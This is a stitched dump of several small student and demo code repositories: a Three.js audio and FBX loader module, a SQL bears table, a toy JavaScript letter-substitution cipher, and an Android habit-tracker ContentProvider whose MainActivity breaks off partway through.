*ソース、エフェクトノード(Gain)を作成
*
* @param {AudioBuffer} buffer
* @param {AudioContext} context
* @returns {source, gainNode}
* @memberof Audio
*/
createSource( buffer, context ) {
var source = context.createBufferSource();
// Create a gain node.
var gainNode = context.createGain();
source.buffer = buffer;
// Turn on looping.
source.loop = true;
// Connect source to gain.
source.connect( gainNode );
// Connect gain to destination.
gainNode.connect( context.destination );
return {
source: source,
gainNode: gainNode
};
}
/**
*volumeをフェードインする
*
* @memberof Audio
*/
volumeFadeIn() {
if ( this.gainNode.gain.value <= 1.0 ) this.gainNode.gain.value += 0.01;
}
/**
*volumeをフェードアウトする
*
* @memberof Audio
*/
volumeFadeOut() {
if ( this.gainNode.gain.value > 0.0 ) this.gainNode.gain.value -= 0.01;
else if ( this.gainNode.gain.value < 0.0 ) this.gainNode.gain.value += 0.01;
}
}
<file_sep>/src/js/module/FBXModel.js
/**
*FBXモデルを読み込むクラス
*
* @export
* @class FBXModel
*/
export default class FBXModel {
/**
*Creates an instance of FBXModel.
* @param {String} filename
* @param {THREE.Scene} scene
* @param {THREE.Group} group
* @param {THREE.CubeTexture} textureCube
* @memberof FBXModel
*/
constructor( filename, scene, group, textureCube ) {
this._filename = filename;
this._scene = scene;
this._group = group;
this._mixier;
this._clock = new THREE.Clock();
this._textureCube = textureCube;
this._meshName = 'SkinnedMesh';
}
/**
*初期化
*
* @memberof FBXModel
*/
init() {
const loader = new THREE.FBXLoader();
loader.load(
this._filename,
( object ) => {
object.mixier = new THREE.AnimationMixer( object );
this._mixier = object.mixier;
const action = object.mixier.clipAction( object.animations[ 0 ] );
action.play();
// scaling
object.scale.set( 0.01, 0.01, 0.01 );
this._group.add( object );
// Mesh抽出
object.children.map( ( value, index ) => {
// Meshの設定
if ( value.type === this._meshName ) {
value.material.envMap = this._textureCube;
value.material.shininess = 90;
value.material.reflectivity = 0.8;
// shadow
value.castShadow = true;
}
} );
}
);
}
/**
*update
*
* @memberof FBXModel
*/
update() {
// Animationの更新
if ( this._mixier ) this._mixier.update( this._clock.getDelta() );
}
}
| 9bf28834363af584a72d933fcd300a49354da9d3 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | Umizoko/MarkerTheDance | 109c99bfb0f0adcb83f27f4b29487a7a74844db3 | b2da587607089a6efa07419d943d4233413d0c35 |
refs/heads/master | <repo_name>mcelis13/SQL-bear-organizer-lab-dumbo-web-080618<file_sep>/lib/create.sql
CREATE TABLE bears (
id INTEGER PRIMARY KEY,
name TEXT,
age INTEGER,
gender TEXT,
color TEXT,
temperament TEXT,
alive BOOLEAN
);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Mr. Chocolate", 4, "M", "Brown", "happy", true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Rowdy", 5, "M", "Black", "angry", true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Tabitha", 6, "F", "Green", "happy", true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("<NAME>", 70, "M", "Blue", "angry", true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Melissa", 8, "F", "Green", "sad", true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Grinch", 6, "M", "Blue", 'angry', true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES ("Wendy", 9, "F", "Orange", 'happy', true);
-- INSERT INTO bears (name, age, gender, color, temperament, alive) VALUES (NULL, 6, "M", "Blue", "angry", true);
| 7068c070bef5903fbbd6a2769720fa5968277286 | [
"SQL"
] | 1 | SQL | mcelis13/SQL-bear-organizer-lab-dumbo-web-080618 | b335cf01faa26576c18352448d16032524606e09 | a756af6d7e9619715b955c45007ca37d33ceb7eb |
refs/heads/master | <repo_name>MarioChagollan/Encriptacion<file_sep>/js/functions.js
function cifrar()
{
let texto = document.getElementById('texto').value.toLowerCase()
var mario = new Array('m', 'a', 'r', 'i', 'o');
let textoCifrado = ''
let flag
console.log(texto.length)
for(let i = 0; i < texto.length; i++)
{
flag = false
for(e in mario)
{
if(mario[e] == texto.charAt(i))
{
flag = true
if (mario[e] == 'm')
textoCifrado += '*'
else if (mario[e] == 'a')
textoCifrado += '$'
else if (mario[e] == 'r')
textoCifrado += '8'
else if (mario[e] == 'i')
textoCifrado += '&'
else if (mario[e] == 'o')
textoCifrado += '4'
}
}
if(flag == false)
textoCifrado += texto.charAt(i)
}
console.log(textoCifrado)
document.getElementById('cifrado').innerHTML = textoCifrado
}
function descifrar()
{
let textod = document.getElementById('textod').value
var oiram = new Array('*','$', '8', '&', '4' );
let textoDescifrado = ''
let flag
console.log(textod.length)
for(let i = 0; i < textod.length; i++)
{
flag = false
for(e in oiram)
{
if(oiram[e] == textod.charAt(i))
{
flag = true
if (oiram[e] == '*')
textoDescifrado += 'm'
else if (oiram[e] == '$')
textoDescifrado += 'a'
else if (oiram[e] == '8')
textoDescifrado += 'r'
else if (oiram[e] == '&')
textoDescifrado += 'i'
else if (oiram[e] == '4')
textoDescifrado += 'o'
}
}
if(flag == false)
textoDescifrado += textod.charAt(i)
}
console.log(textoDescifrado)
document.getElementById('descifrado').innerHTML = textoDescifrado
}
| cb11da42b4976e3596ffd28cb9674511462764d3 | [
"JavaScript"
] | 1 | JavaScript | MarioChagollan/Encriptacion | 7e89d97956dd4f3f1f2c22c9fa2a53325e50574d | 8e007e2225adc6a2658b97e133f8de2d056eb6a8 |
refs/heads/main | <repo_name>YuliaFeldman/WikiNetwork<file_sep>/wikinetwork.py
##################################################################
# FILE : article.py
# WRITER : <NAME>
# DESCRIPTION: wikinetwork.py contains contains the class
# WikiNetwork which represents a network of objects of the class Article.
##################################################################
from article import Article
import copy
DEFAULT_DIVISOR = 0.9
INITIAL_RANK = 1
def read_article_links(filename):
"""
Function receives a name of a file and returns a list of tuples- each
tuple contains names of two articles.
"""
couples_of_articles = list()
file_txt = open(filename, 'r')
line = file_txt.readline()
while line is not '':
temp = line.split('\t')
article_A = temp[0]
article_B = temp[1]
temp = article_B.split('\n')
article_B = temp[0]
couples_of_articles.append((article_A, article_B))
line = file_txt.readline()
file_txt.close()
return couples_of_articles
##############################################################################
class WikiNetwork:
"""
This class represents a network of object of the type article.
"""
def __init__(self, link_list):
"""
:param link_list: a list of tuples. Each tuple contains a name of an
article and the name of the referred article.
"""
self.__collection = dict()
self.update_network(link_list)
def update_network(self, link_list):
"""
:param link_list: a list of tuples. Each tuple contains a name of an
article and the name of the referred article.
Method updates this wikinetwork with the new details from link_list
"""
for couple in link_list:
if couple[0] not in self.__collection.keys() \
and couple[1] not in self.__collection.keys():
article_A = Article(couple[0])
article_B = Article(couple[1])
article_A.add_neighbor(article_B)
self.__collection[couple[0]] = article_A
self.__collection[couple[1]] = article_B
elif couple[0] in self.__collection.keys() \
and couple[1] not in self.__collection.keys():
article = Article(couple[1])
self.__collection[couple[0]].add_neighbor(article)
self.__collection[couple[1]] = article
elif couple[0] in self.__collection.keys() \
and couple[1] in self.__collection.keys():
self.__collection[couple[0]].add_neighbor(
self.__collection[couple[1]])
else:
article = Article(couple[0])
article.add_neighbor(self.__collection[couple[1]])
self.__collection[couple[0]] = article
def get_articles(self):
"""
:return: A list of all the articles in this wikinetwork.
"""
lst = list()
for article in self.__collection.values():
lst.append(article)
return copy.copy(lst)
def get_titles(self):
"""
:return: A list of all the article's titles in this wikinetwork.
"""
lst = list()
for title in self.__collection.keys():
lst.append(title)
return copy.copy(lst)
def __contains__(self, title):
"""
:param title: a string that represents a title of an article
:return: True if the article, that it's title is the received title,
is in this wikinetwork, False otherwise.
"""
return title in self.get_titles()
def __len__(self):
"""
:return: The number of articles in this wikinetwork.
"""
return len(self.__collection)
def __repr__(self):
"""
:return: A string representation of this wikinetwork.
"""
return str(self.__collection)
def __getitem__(self, title):
"""
:param title: A string that represents a name of an article.
:return: The article that it's title is the received title.
"""
if title in self.__collection.keys():
return self.__collection[title]
else:
raise KeyError(title)
def page_rank(self, iters, d=DEFAULT_DIVISOR):
"""
:param iters: An integer number
:param d: A number that represents a divisor in the algorithm
:return: A list of titles of the articles ranked by they're
"page rank", from highest to lowest.
If two articles have the same "page rank", they will be placed in the
returned list in an alphabet order.
"""
ranks = dict() # will save the rank of each article
articles = self.get_articles()
titles = self.get_titles()
# setting the rank of each article to be 1
ranks = self.__set_ranks__(ranks, titles, INITIAL_RANK)
for i in range(iters):
ranks_in_iter = copy.copy(ranks)
ranks = self.__set_ranks__(ranks, titles, INITIAL_RANK-d)
for article in articles:
title = article.get_title()
num_of_neighbors = article.__len__()
if num_of_neighbors == 0:
rank_for_all = d * ranks_in_iter[title] / self.__len__()
ranks = self.__update_ranks__(ranks, titles,
rank_for_all)
else:
rank_for_neighbor = d * ranks_in_iter[title] / \
num_of_neighbors
neighbors_of_article = article.get_neighbors()
titles_of_neighbors = list()
for n in neighbors_of_article:
titles_of_neighbors.append(n.get_title())
ranks = self.__update_ranks__(ranks, titles_of_neighbors,
rank_for_neighbor)
temp = self.__sort__(ranks)
returned_list = list()
for item in temp:
returned_list.append(item[0])
return returned_list
def __sort__(self, ranks):
"""
:param ranks: A dictionary type object which contains ranks of
articles
:return: A sorted list of tuples, from highest to lowest. Each tuple
contains article's name and it's rank.
"""
lst = list()
for rank in ranks:
lst.append((rank, ranks[rank]))
sorted_lst = sorted(lst, key=lambda tup: tup[1], reverse=True)
i = 0
while i < self.__len__()-1:
if sorted_lst[i][1] == sorted_lst[i+1][1]:
index = i
temp_lst = list()
temp_lst.append(sorted_lst[i])
temp_lst.append(sorted_lst[i+1])
j = i+2
while j < self.__len__()\
and sorted_lst[i][1] == sorted_lst[j][1]:
temp_lst.append(sorted_lst[j])
j += 1
i = j-1
temp_lst = sorted(temp_lst, key=lambda tup: tup[0])
k = 0
while index < i+1:
sorted_lst[index] = temp_lst[k]
index +=1
k += 1
i += 1
return sorted_lst
def __set_ranks__(self, ranks, titles, points):
for title in titles:
ranks[title] = points
return ranks
def __update_ranks__(self, ranks, titles, points):
for title in titles:
ranks[title] += points
return ranks
def jaccard_index(self, article_title):
"""
:param article_title: a string representation of a title of an
article.
:return: A list of articles names ranked by they're "Jaccard
index", from highest to lowest.
"""
if not self.__contains__(article_title) \
or not self.__collection[article_title].get_neighbors():
return None
else:
article_A = self.__collection[article_title]
neighbors_A = set(article_A.get_neighbors())
temp_dict = dict()
for article_B in self.__collection:
neighbors_B = \
set(self.__collection[article_B].get_neighbors())
intersection = neighbors_A.intersection(neighbors_B)
if intersection == set():
intersection = 0
else:
intersection = intersection.__len__()
union = neighbors_A.union(neighbors_B)
union = union.__len__()
jaccard_index = intersection/union
temp_dict[article_B] = jaccard_index
temp = self.__sort__(temp_dict)
returned_list = list()
for item in temp:
returned_list.append(item[0])
return returned_list
def __entrance_level__(self, article):
"""
:param article: An article type object
:return: the number of article's incoming neighbors
"""
level = 0
for item in self.__collection:
neighbors = self.__collection[item].get_neighbors()
if article in neighbors:
level += 1
return level
def __get_path__(self, article_A, article_B):
"""
:param article_A: An article type object
:param article_B: An article type object
:return: The more suitable article to be the next step in path
"""
level_A = self.__entrance_level__(article_A)
level_B = self.__entrance_level__(article_B)
if level_A > level_B:
return article_A
elif level_B > level_A:
return article_B
else:
if article_A.get_title() < article_B.get_title():
return article_A
else:
return article_B
def travel_path_iterator(self, article_title):
"""
:param article_title: a string that represents a title of an article.
:return: An iterator that returns articles' names in a
path, according to their order.
"""
if article_title not in self:
raise StopIteration
while self.__collection[article_title].__len__() > 0:
yield article_title
article = self.__collection[article_title]
# sorted list of neighbors according to their entrance level
sorted_neighbors = sorted(article.get_neighbors(), key=lambda x:
((-1) * self.__entrance_level__(x), x.get_title()))
article_title = sorted_neighbors[0].get_title()
self.travel_path_iterator(article_title)
# last article in path (the article which has no neighbors)
yield article_title
raise StopIteration
def friends_by_depth(self, article_title, depth):
"""
:param article_title: a string that represents a name of an article.
:param depth: an integer that represents a level of "closeness"
:return: a list of all the titles of the articles that are "close" to
the received article with the same level as the depth received.
"""
if article_title not in self:
return None
friends = set()
def find_friends_by_depth(title, depth, count_steps, friends):
if count_steps < depth and len(self.__collection[title]) > 0:
article = self.__collection[title]
sorted_neighbors = sorted(article.get_neighbors(),
key=lambda x: ((-1) * self.__entrance_level__(x),
x.get_title()))
next_titles = list()
for neighbor in sorted_neighbors:
next_titles.append(neighbor.get_title())
next_titles.append(title)
for t in next_titles:
friends = find_friends_by_depth(
t, depth, count_steps + 1, friends)
friends.add(title)
return friends
return list(find_friends_by_depth(article_title, depth, 0, friends))
<file_sep>/article.py
##################################################################
# FILE : article.py
# WRITER : <NAME>
# DESCRIPTION: article.py contains the class Article which represents an article.
##################################################################
import copy
class Article:
"""
This class represents an article.
"""
def __init__(self, article_title):
"""
A constructor for the object article.
:param article_title: the title of the article.
"""
self.__article_title = article_title
self.__neighbors = list()
def get_title(self):
"""
:return: The title of the article
"""
return self.__article_title
def add_neighbor(self, neighbor):
"""
:param neighbor: An Article object
:return: adds neighbor to the list of this article neighbors
"""
if neighbor not in self.__neighbors:
self.__neighbors.append(neighbor)
def get_neighbors(self):
"""
:return: a list of articles that this article refers to.
"""
return copy.copy(self.__neighbors)
def __len__(self):
"""
:return: returns the number of this article's neighbors
"""
return len(self.__neighbors)
def __repr__(self):
"""
:return: A string representation of this article in the following
format: a tuple which contains the name of this article and A list
of all the article's neighbors.
"""
str = '(\'' + self.__article_title + '\', ['
for i in range(self.__len__()):
str += '\''
str += self.__neighbors[i].__article_title
str += '\''
if i < self.__len__() - 1:
str += ', '
str += '])'
return str
def __contains__(self, article):
"""
:param article: An Article object
:return: True if the received article is in this article's neighbors
list. False, otherwise.
"""
return article in self.__neighbors
| 49d0be107c65ff6b9fa8b90eaa3d88816cb92a17 | [
"Python"
] | 2 | Python | YuliaFeldman/WikiNetwork | 2eec37e4964cfa11b46b94f7293ea7a45911ff34 | 9fb6143b4efdfdc530f6c72f58724e767a89b98a |
refs/heads/master | <file_sep># hololens_facial_recognition
Facial recognition for the Microsoft Hololens. You'd need the Hololens version of Unity to build it.

<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class JSON_test : MonoBehaviour {
public GameObject textPrefab;
// Use this for initialization
void Start () {
string json = "[{\"faceId\":\"5cfdda25 - 743e-482d - 9d33 - 5806f8bf5056\",\"faceRectangle\":{\"top\":891,\"left\":18,\"width\":64,\"height\":64},\"faceAttributes\":{\"smile\":0.024,\"headPose\":" +
"{\"pitch\":0.0,\"roll\":-3.1,\"yaw\":-7.3},\"gender\":\"male\",\"age\":25.4,\"facialHair\":{\"moustache\":0.6,\"beard\":0.6,\"sideburns\":0.5},\"glasses\":\"ReadingGlasses\"}}]";
JSONObject j = new JSONObject(json);
JSONObject result = j.list[0];
GameObject txtObject = (GameObject)Instantiate(textPrefab);
TextMesh txtMesh = txtObject.GetComponent<TextMesh>();
var a = result.GetField("faceAttributes");
var f = a.GetField("facialHair");
var p = result.GetField("faceRectangle");
txtMesh.text = string.Format("Gender: {0}\nAge: {1}\nMoustache: {2}\nBeard: {3}\nSideburns: {4}\nGlasses: {5}\nSmile: {6}", a.GetField("gender").str, a.GetField("age"), f.GetField("moustache"), f.GetField("beard"), f.GetField("sideburns"), a.GetField("glasses").str, a.GetField("smile"));
txtMesh.color = Color.red; // Set the text's color to red
}
// Update is called once per frame
void Update () {
}
}
| b317eb01b6184a8ed2be8deff2c32f9afd63384e | [
"Markdown",
"C#"
] | 2 | Markdown | xxxxlr/hololens_facial_recognition | f88bf1a2ec57b63bf31f6ed9c008b146d7d568a9 | 72cf34c4d623852a64b76db95a8e8d6dd06811a1 |
refs/heads/main | <file_sep>const INIT_STATE = {
hidden: true,
cart: [],
};
export interface Action {
type: string;
payload: unknown;
}
export interface RootState {
hidden: true | false;
cart: Array<unknown>;
}
const cartReducer = function (prevState = INIT_STATE, action: Action): RootState {
switch (action.type) {
case 'TOGGLE_CART_DISPLAY':
return {
...prevState,
hidden: !prevState.hidden,
};
case 'ADD_CART_ITEM':
return {
...prevState,
cart: [...prevState.cart, action.payload],
};
default:
return prevState;
}
};
export default cartReducer;
<file_sep>const menuData = [
{
title: 'Buy',
subtitle: 'Shop All Products',
imgUrl:
'https://i0.wp.com/www.ecommerce-nation.com/wp-content/uploads/2019/02/Shopping-cart-6-tips-to-design-it-and-take-your-checkouts-to-the-next-level.png?fit=2400%2C1440&ssl=1',
linkUrl: 'shop',
id: 1,
},
{
title: 'Sell',
subtitle: 'Sell Now',
imgUrl: 'https://wp-modula.com/wp-content/uploads/2019/01/Sell-your-photos-online.png',
linkUrl: 'create-sale',
id: 2,
},
{
title: 'Clothes',
subtitle: null,
imgUrl: 'https://www.womansworld.com/wp-content/uploads/2020/10/womens-clothing-store.jpg?resize=1024,576',
size: 'large',
linkUrl: '',
id: 3,
},
{
title: 'Tech',
subtitle: null,
imgUrl: 'https://inteng-storage.s3.amazonaws.com/images/sizes/tech_shopping_22_resize_md.jpg',
size: 'large',
linkUrl: '',
id: 4,
},
{
title: 'Art',
subtitle: null,
imgUrl:
'https://images.squarespace-cdn.com/content/v1/58fd82dbbf629ab224f81b68/1506864091072-YOLKMQG49AK83RGKAI58/ke17ZwdGBToddI8pDm48kNftb-tUP6gSocO6vke4d-UUqsxRUqqbr1mOJYKfIPR7LoDQ9mXPOjoJoqy81S2I8N_N4V1vUb5AoIIIbLZhVYxCRW4BPu10St3TBAUQYVKc_lwlWDPQCSQo0h7zl7m9zTzev-hlMn1jufsg_kkwglxoe9zwDj1z0cq4Ho44TWqR/Walls-Tokyo-Banner.jpg',
size: 'large',
linkUrl: '',
id: 5,
},
];
export default menuData;
<file_sep>class ConvertUserTableColumnUidTypeFromBigIntToString2 < ActiveRecord::Migration[6.1]
def change
remove_column :users, :uid, :bigInt
add_column :users, :uid, :string
end
end
<file_sep>export const toggleCartDisplay = function (): { type: string } {
return {
type: 'TOGGLE_CART_DISPLAY',
};
};
interface ItemData {
id: number;
price: number;
name: string;
imageUrl: string;
}
export const addItem = function (item: ItemData): { type: string; payload: ItemData } {
console.log(item);
return {
type: 'ADD_CART_ITEM',
payload: item,
};
};
<file_sep>// takes in user object and sets it to current user in store
interface User {
email: string;
id: number;
}
interface Action {
type: 'SET_USER';
payload: User | null;
}
export const setCurrentUser = (user: User | null): Action => {
return {
type: 'SET_USER',
payload: user,
};
};
<file_sep>Rails.application.routes.draw do
namespace :api do
namespace :v1 do
resources :users, only: [:create]
post '/login', to: 'auth#authorize'
get '/get-user', to: 'users#get_user'
get '/googleAuth', to: 'omni_auth#login'
end
end
get '/auth/google_oauth2/callback' => 'api/v1/auth#authorize'
get 'auth/failure' => 'api/v1/omni_auth#failure'
end<file_sep>class Api::V1::AuthController < ApplicationController
include ActionController::Cookies
skip_before_action :authorized, only: [:authorize]
# either matches username and password or has data from googleOath2 callback
def authorize
#coming from omniauth flow
if request.env['omniauth.auth']
@googleUser = request.env['omniauth.auth']
@user = User.find_by(uid: @googleUser.uid)
if @user
token = encode_token({ user_id: @user.id })
cookies[:appaShop] = token;
redirect_to 'http://localhost:3001/'
else
@user = User.create(email: @googleUser.info.email, password: <PASSWORD>::Password.create(('a'..'z').to_a.shuffle[0,8].join), uid: @googleUser.uid)
token = encode_token({ user_id: @user.id })
cookies[:appaShop] = token;
redirect_to 'http://localhost:3001/'
end
else
@user = User.find_by(email: user_login_params[:email])
#User#authenticate comes from BCrypt
if @user && @user.authenticate(user_login_params[:password])
# encode token comes from ApplicationController
token = encode_token({ user_id: @user.id })
render json: { user: UserSerializer.new(@user), jwt: token }, status: :accepted
else
render json: { message: 'Invalid email or password' }, status: :unauthorized
end
end
end
private
def user_login_params
# params { user: {email: '<NAME>', password: 'hi' } }
params.require(:user).permit(:email, :password)
end
end<file_sep>// intial state will updated with id
const INIT_STATE = {
currentUser: null,
};
/*
User reducer handles state regarding user
action -> {
type: 'some string identifier',
payload: some data from component
}
*/
interface RootState {
currentUser: User | null;
}
interface User {
email: string;
id: number;
}
export interface Action {
type: string;
payload: User | null;
}
const userReducer = function (prevState = INIT_STATE, action: Action): RootState {
switch (action.type) {
case 'SET_USER':
return {
...prevState,
currentUser: action.payload,
};
default:
return prevState;
}
};
export default userReducer;
<file_sep>import { createStore, applyMiddleware } from 'redux';
import logger from 'redux-logger';
import rootReducer from './root-reducer';
// array of middlewares
const middlewares = [logger];
//pass in rootReducer and spread the middlewares array
const store = createStore(rootReducer, applyMiddleware(...middlewares));
export default store;
| c8bdc7951dafcfaca481b624c9023d348d4902c7 | [
"JavaScript",
"TypeScript",
"Ruby"
] | 9 | TypeScript | kainan54/study_project_appa_shop | 6c5bdfab20f5e8df28826d383155fb3c17008b0c | 88ed36166a66c50d637ca3f11b454d26380cf59d |
refs/heads/master | <file_sep># CruiseControlOOExample
Cruise control Java example (Eclipse Project)
Import as Java Project in Eclipse; just run Test.java as Java Application.
<NAME>
<file_sep>package cl.utfsm.inf.adsw.ui;
public class SpeedView {
public static void showSpeedAlert (int currentSpeed) {
System.out.println ("Speed under minimum: " + currentSpeed);
}
public static void showABSAlert (boolean ABSStatus) {
System.out.println ("ABS not working: " + ABSStatus);
}
public static void showCruiseControlActivatedAlert (int currentSpeed) {
System.out.println ("Cruise control enabled: " + currentSpeed);
}
}
<file_sep>package cl.utfsm.inf.adsw.ecu;
import cl.utfsm.inf.adsw.ui.SpeedView;
public class CruiseControlModule {
public static boolean activateCruiseControl() {
// if speed is less than 60 km/h, cruise control cannot be activated
if (SpeedModule.getCurrentSpeed() < 60) {
SpeedView.showSpeedAlert(SpeedModule.getCurrentSpeed());
// cruise control not activated
return false;
} else {
// if any problem is detected in the ABS 'system', cruise control cannot
// be activated
if (!ABSModule.getABSStatus()) {
SpeedView.showABSAlert(ABSModule.getABSStatus());
// cruise control not activated
return false;
} else {
// if speed >= 60 km/h and ABS is OK, cruise control is activated!
SpeedModule.setSpeed(SpeedModule.getCurrentSpeed());
SpeedView.showCruiseControlActivatedAlert(SpeedModule.getCurrentSpeed());
// ok! cruise control activated
return true;
}
}
}
}
<file_sep>package cl.utfsm.inf.adsw.ecu;
public class ABSModule {
// ABS status to be returned by the ABS module
// true = ABS OK
// false = ABS not working
private static boolean ABSStatus = true;
public static boolean getABSStatus() {
return ABSStatus;
}
}
| a8338d621008c6bb0345691c2f2fe2018aa0e8d0 | [
"Markdown",
"Java"
] | 4 | Markdown | pcruzn/CruiseControlOOExample | c3750a2c32013bc745f4017513db40d36c3fdf8c | 2a43f0d5eb4dac10ba077689f8117fef2cf3405b |
refs/heads/master | <file_sep>print("Hello World")
ptint("inter def branch") | 1806dde6d83ab7eb3016cbf777ea9e32ea79357b | [
"Python"
] | 1 | Python | SwatiKumari240/LearnGitRepo | 83928c6ec7833863ed17c2685195b90afaa7c096 | b2aaad568147cec28049ce3c9522d6a1ed26d617 |
refs/heads/master | <file_sep>package com.example.android.habittrackerapp;
import android.content.ContentProvider;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.UriMatcher;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.support.annotation.Nullable;
import android.util.Log;
public class Provider extends ContentProvider {
private static final String LOG_TAG = Provider.class.getSimpleName();
private static final UriMatcher sUriMatcher = buildUriMatcher();
private HabitDB mHabitDB;
private static final int MEDITATION = 100;
private static final int MEDITATION_ID = 101;
private static UriMatcher buildUriMatcher() {
final UriMatcher matcher = new UriMatcher(UriMatcher.NO_MATCH);
final String authority = HabitContract.CONTENT_AUTHORITY;
matcher.addURI(authority, HabitContract.MeditationEntry.TABLE_NAME, MEDITATION);
matcher.addURI(authority, HabitContract.MeditationEntry.TABLE_NAME + "/#", MEDITATION_ID);
return matcher;
}
@Override
public boolean onCreate() {
mHabitDB = new HabitDB(getContext());
return true;
}
@Nullable
@Override
public Cursor query(Uri uri,
String[] projection,
String selection,
String[] selectionArgs,
String sortOrder) {
Cursor retCursor;
//TODO: REMOVE THIS
// Log.d(LOG_TAG, "query(): where " + selection + " is " + selectionArgs[0]);
switch (sUriMatcher.match(uri)) {
case MEDITATION:
retCursor = mHabitDB.getReadableDatabase().query(
HabitContract.MeditationEntry.TABLE_NAME,
projection,
selection,
selectionArgs,
null,
null,
sortOrder);
return retCursor;
case MEDITATION_ID:
String id = String.valueOf(ContentUris.parseId(uri)) + "L";
retCursor = mHabitDB.getReadableDatabase().query(
HabitContract.MeditationEntry.TABLE_NAME,
projection,
HabitContract.MeditationEntry.COLUMN_DATE + " = ?",
new String[]{id},
null,
null,
sortOrder);
return retCursor;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
@Nullable
@Override
public String getType(Uri uri) {
final int match = sUriMatcher.match(uri);
switch (match) {
case MEDITATION:
return HabitContract.MeditationEntry.CONTENT_DIR_TYPE;
case MEDITATION_ID:
return HabitContract.MeditationEntry.CONTENT_ITEM_TYPE;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
@Nullable
@Override
public Uri insert(Uri uri, ContentValues contentValues) {
final SQLiteDatabase db = mHabitDB.getWritableDatabase();
final int match = sUriMatcher.match(uri);
Uri returnUri;
switch (match) {
case MEDITATION:
long _id = db.insert(HabitContract.MeditationEntry.TABLE_NAME, null, contentValues);
if (_id > 0) {
returnUri = HabitContract.MeditationEntry.buildProductUri(_id);
} else {
throw new android.database.SQLException("Failed to insert row into: " + uri);
}
break;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
getContext().getContentResolver().notifyChange(uri, null);
return returnUri;
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
final SQLiteDatabase db = mHabitDB.getWritableDatabase();
final int match = sUriMatcher.match(uri);
int numDeleted;
//TODO REMOVE THIS
// Log.d(LOG_TAG, "delete(): where " + selection + " is " + selectionArgs[0]);
switch (match) {
case MEDITATION:
Log.d(LOG_TAG, "delete() dir");
numDeleted = db.delete(
HabitContract.MeditationEntry.TABLE_NAME, selection, selectionArgs);
break;
case MEDITATION_ID:
Log.d(LOG_TAG, "delete() type");
String id = String.valueOf(ContentUris.parseId(uri)) + "L";
numDeleted = db.delete(
HabitContract.MeditationEntry.TABLE_NAME,
HabitContract.MeditationEntry.COLUMN_DATE + " = ?",
new String[]{id});
break;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
if (numDeleted > 0) {
getContext().getContentResolver().notifyChange(uri, null);
}
return numDeleted;
}
@Override
public int update(Uri uri, ContentValues contentValues, String selection, String[] selectionArgs) {
final SQLiteDatabase db = mHabitDB.getWritableDatabase();
final int match = sUriMatcher.match(uri);
int numUpdated;
if (contentValues == null) {
throw new IllegalArgumentException("Cannot have null content values");
}
switch (match) {
case MEDITATION:
Log.d(LOG_TAG, "update() Dir");
numUpdated = db.update(HabitContract.MeditationEntry.TABLE_NAME,
contentValues,
selection,
selectionArgs);
break;
case MEDITATION_ID:
String id = String.valueOf(ContentUris.parseId(uri)) + "L";
numUpdated = db.update(HabitContract.MeditationEntry.TABLE_NAME,
contentValues,
HabitContract.MeditationEntry.COLUMN_DATE + " = ?",
new String[]{id});
break;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
if (numUpdated > 0) {
getContext().getContentResolver().notifyChange(uri, null);
}
return numUpdated;
}
}<file_sep>package com.example.android.habittrackerapp;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Locale;
public class MainActivity extends AppCompatActivity {
private static final String LOG_TAG = MainActivity.class.getSimpleName();
private ContentResolver mContentResolver;
private ContentValues mContentValues;
private String[] projection;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mContentResolver = getContentResolver();
mContentValues = new ContentValues();
projection = new String[]{
HabitContract.MeditationEntry._ID,
HabitContract.MeditationEntry.COLUMN_DID_MEDITATION,
HabitContract.MeditationEntry.COLUMN_DATE,
HabitContract.MeditationEntry.COLUMN_MEDITATION_LENGTH};
// insert("Yes", 4);
// update();
// delete();
// deleteDatabase();
// deleteAll();
logQueryResults(queryAll());
// logQueryResults(queryWhere());
// logQueryResults(rubricCompliantQuery());
}
/*
* Get current time in YYYYMMDDHHMMSS format
*/
private String getCurrentTime() {
Calendar calendar = Calendar.getInstance();
SimpleDateFormat mdformat = new SimpleDateFormat("yyyyMMddhhmmss", Locale.US);
String timestamp = mdformat.format(calendar.getTime()) + "L";
return timestamp;
}
/*
* Returns all rows
* Uses content provider no need to get
* readable database
*/
private Cursor queryAll() {
return mContentResolver.query(
HabitContract.MeditationEntry.CONTENT_URI,
projection,
null,
null,
null);
}
/*
* Follows rubric
* returns Cursor
* gets a readable data storage
*/
private Cursor rubricCompliantQuery() {
SQLiteDatabase db = new HabitDB(this).getReadableDatabase();
return db.query(
HabitContract.MeditationEntry.TABLE_NAME,
projection,
null,
null,
null,
null,
null);
}
/*
* Will return rows with particular selection arguments
* Make sure to append L for long in date
* Also change the time stamp based on data on your system
*/
private Cursor queryWhere() {
return mContentResolver.query(
HabitContract.MeditationEntry.CONTENT_URI,
projection,
HabitContract.MeditationEntry.COLUMN_DATE + " = ?",
new String[]{"20160917080554L"},
null);
}
// Simple logger
private void logQueryResults(Cursor cursor) {
if (cursor != null) {
if (cursor.moveToFirst()) {
do {
String did_meditation = cursor.getString(cursor.getColumnIndex(HabitContract.MeditationEntry.COLUMN_DID_MEDITATION));
long date = cursor.getLong(cursor.getColumnIndex(HabitContract.MeditationEntry.COLUMN_DATE));
